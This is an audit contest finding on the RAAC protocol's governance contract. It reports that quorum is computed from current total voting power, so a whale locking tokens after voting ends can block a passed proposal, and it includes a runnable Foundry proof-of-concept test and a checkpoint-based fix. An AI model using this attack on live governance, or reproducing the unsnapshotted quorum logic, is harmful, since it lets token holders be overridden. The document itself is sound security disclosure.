Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Quorum Manipulation Vulnerability in RAAC Protocol Governance

Summary

The governance quorum calculation in the protocol uses real-time total voting power rather than a snapshot at proposal creation. An attacker can manipulate the quorum requirements after a proposal's voting period has ended but before execution, effectively blocking the execution of passed proposals.

Vulnerability Details

The vulnerability exists because the quorum calculation in the Governance contract is based on the current total voting power rather than the voting power between the time the proposal was created and voting ended. This allows malicious actors to manipulate the quorum requirement by significantly increasing the total voting power after a vote has concluded but before execution, so the proposal results in a defeated state.

The attack flow:

  1. A proposal is created and receives sufficient votes to pass during the voting period

  2. After the voting period ends, but before execution:

    1. A whale deposits a large amount of tokens, dramatically increasing the total voting power (because the getTotalVotingPower() returns the totalSupply()). It's worth to mention here that he needs to lock RaacTokens in order to get veRaac for at least 1 year which reduces the likelihood of this attack but it's still possible.

    2. This increases the required quorum retroactively

  3. The previously "passed" proposal can no longer be executed due to insufficient quorum

The governance contract calculates quorum using current total voting power:

function quorum() public view override returns (uint256) {
// getTotalVotingPower return current total supply
return (_veToken.getTotalVotingPower() * quorumNumerator) / QUORUM_DENOMINATOR;
}

The veRAACToken getTotalVotingPower() function returns the totalSupply of the token:

function getTotalVotingPower() external view override returns (uint256) {
return totalSupply();
}

The quorum() function is then used to determine if the currentQuorum of a proposal mets the threshold to pass or not :

function execute(uint256 proposalId) external override nonReentrant {
// Gets the current state based on quorum calculation
ProposalState currentState = state(proposalId);
//...
}
function state(uint256 proposalId) public view override returns (ProposalState) {
//...
ProposalVote storage proposalVote = _proposalVotes[proposalId];
uint256 currentQuorum = proposalVote.forVotes + proposalVote.againstVotes;
// gets the quorum based on the current total supply which can be manipulated
@> uint256 requiredQuorum = quorum();
// Check if quorum is met and votes are in favor
if (currentQuorum < requiredQuorum || proposalVote.forVotes <= proposalVote.againstVotes) {
return ProposalState.Defeated;
}
//...
}

PoC

In order to run the test you need to:

  1. Run foundryup to get the latest version of Foundry

  2. Install hardhat-foundry: npm install --save-dev @nomicfoundation/hardhat-foundry

  3. Import it in your Hardhat config: require("@nomicfoundation/hardhat-foundry");

  4. Make sure you've set the BASE_RPC_URL in the .env file or comment out the forking option in the hardhat config.

  5. Run npx hardhat init-foundry

  6. There is one file in the test folder that will throw an error during compilation so rename the file in test/unit/libraries/ReserveLibraryMock.sol to => ReserveLibraryMock.sol_broken so it doesn't get compiled anymore (we don't need it anyways).

  7. Create a new folder test/foundry

  8. Paste the below code into a new test file i.e.: FoundryTest.t.sol

  9. Run the test: forge test --mc FoundryTest -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {Governance} from "../../contracts/core/governance/proposals/Governance.sol";
import {TimelockController} from "../../contracts/core/governance/proposals/TimelockController.sol";
import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";
import {veRAACToken} from "../../contracts/core/tokens/veRAACToken.sol";
import {IGovernance} from "../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
import {ITimelockController} from "../../contracts/interfaces/core/governance/proposals/ITimelockController.sol";
import "forge-std/console2.sol";
contract FoundryTest is Test {
Governance public governance;
TimelockController public timelock;
RAACToken public raacToken;
veRAACToken public veToken;
address public admin = address(this);
address public proposer = makeAddr("proposer");
// Proposal parameters
address[] public targets;
uint256[] public values;
bytes[] public calldatas;
string public description = "Test Proposal";
// Constants
uint256 public constant PROPOSAL_THRESHOLD = 100_000e18;
uint256 public constant VOTING_POWER = 500_000e18;
function setUp() public {
// Initial tax rates (1% swap tax, 0.5% burn tax)
uint256 initialSwapTaxRate = 100;
uint256 initialBurnTaxRate = 50;
raacToken = new RAACToken(admin, initialSwapTaxRate, initialBurnTaxRate);
raacToken.setMinter(admin);
veToken = new veRAACToken(address(raacToken));
// Setup timelock
address[] memory proposers = new address[](1);
proposers[0] = address(0);
address[] memory executors = new address[](1);
executors[0] = address(0);
timelock = new TimelockController(2 days, proposers, executors, admin);
// Deploy governance
governance = new Governance(address(veToken), address(timelock));
// Now setup correct timelock roles
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), admin);
// We also give the cancel role to the governance contract
timelock.grantRole(timelock.CANCELLER_ROLE(), address(governance));
// Setup proposal parameters
targets.push(address(raacToken));
values.push(0);
calldatas.push(abi.encodeWithSignature("approve(address,uint256)", address(1), 100));
}
function test_QuorumManipulation() public {
address whale = makeAddr("whale");
address voter = makeAddr("voter");
uint256 veTokenLockDuration = 366 days;
uint256 VOTING_POWER_WHALE = 10_000_000e18;
uint256 VOTING_POWER_VOTER = 100_000e18;
uint256 VOTING_POWER_PROPOSER = 500_000e18;
// 1. Initial setup - mint tokens
raacToken.mint(proposer, VOTING_POWER_PROPOSER);
raacToken.mint(whale, VOTING_POWER_WHALE);
raacToken.mint(voter, VOTING_POWER_VOTER);
// 2. Proposer locks his raac tokens for veTokens
vm.startPrank(proposer);
raacToken.approve(address(veToken), VOTING_POWER_PROPOSER);
veToken.lock(VOTING_POWER_PROPOSER, veTokenLockDuration);
// 3. Create and vote on proposal
uint256 proposalId = governance.propose(
targets,
values,
calldatas,
description,
IGovernance.ProposalType.ParameterChange
);
vm.warp(block.timestamp + governance.votingDelay() + 1);
vm.stopPrank();
// 4. Voter locks his raac tokens for veTokens and votes on the proposal
vm.startPrank(voter);
raacToken.approve(address(veToken), VOTING_POWER_VOTER);
veToken.lock(VOTING_POWER_VOTER, veTokenLockDuration);
governance.castVote(proposalId, true);
vm.stopPrank();
// now wait until vote period ends
vm.warp(block.timestamp + governance.votingPeriod() + 1);
// Log initial state
uint256 initialTotalSupply = veToken.getTotalVotingPower();
uint256 initialQuorum = governance.quorum();
(uint256 forVotes, uint256 againstVotes) = governance.getVotes(proposalId);
uint256 currentQuorum = forVotes + againstVotes;
bool shouldPass = currentQuorum >= initialQuorum;
assertEq(shouldPass, true);
console2.log("\n Initial State:");
console2.log("Initial Total Supply:", initialTotalSupply);
console2.log("Initial Quorum Required:", initialQuorum);
console2.log("Initial For Votes:", forVotes);
console2.log("Initial Against Votes:", againstVotes);
console2.log("Should Pass:", shouldPass);
// 5. Whale locks his raac tokens for veTokens => infalting the total supply and qurom required
vm.startPrank(whale);
raacToken.approve(address(veToken), VOTING_POWER_WHALE);
veToken.lock(VOTING_POWER_WHALE, veTokenLockDuration);
vm.stopPrank();
// Log final state
uint256 finalTotalSupply = veToken.getTotalVotingPower();
uint256 finalQuorum = governance.quorum();
console2.log("\n Final State:");
console2.log("Final Total Supply:", finalTotalSupply);
console2.log("Final Quorum Required:", finalQuorum);
uint256 diff = finalQuorum - initialQuorum;
console2.log("\n Difference between initial and final quorum:");
console2.log("Difference:", diff);
//6. Try to execute the proposal => revert because quorum is not met
vm.expectRevert();
governance.execute(proposalId);
IGovernance.ProposalState currentState = governance.state(proposalId);
console2.log("\n Proposal State:");
console2.log("Proposal State:", uint256(currentState));
// Proposal defeated because quorum is not met
assertEq(uint256(currentState), uint256(IGovernance.ProposalState.Defeated));
}
}

Impact

  • Proposals that legitimately passed voting can be blocked from execution

  • Governance system can be rendered ineffective through quorum manipulation

Tools Used

  • Foundry

  • Manual Review

Recommendations

The PowerCheckpointlibrary which is already used in the veRAACToken contract has a function to get the total voting power at a specific block:

function getPastTotalSupply(CheckpointState storage state, uint256 blockNumber) internal view returns (uint256) {
if (blockNumber >= block.number) revert InvalidBlockNumber();
return state.totalSupplyCheckpoints.findCheckpoint(blockNumber);
}

The protocol should implement this carefully into the veRAACToken contract and then safe the block number when the proposal got created to query the totalSupply at that point during the quorum() function.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance::quorum uses current total voting power instead of proposal creation snapshot, allowing manipulation of threshold requirements to force proposals to pass or fail

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance::quorum uses current total voting power instead of proposal creation snapshot, allowing manipulation of threshold requirements to force proposals to pass or fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!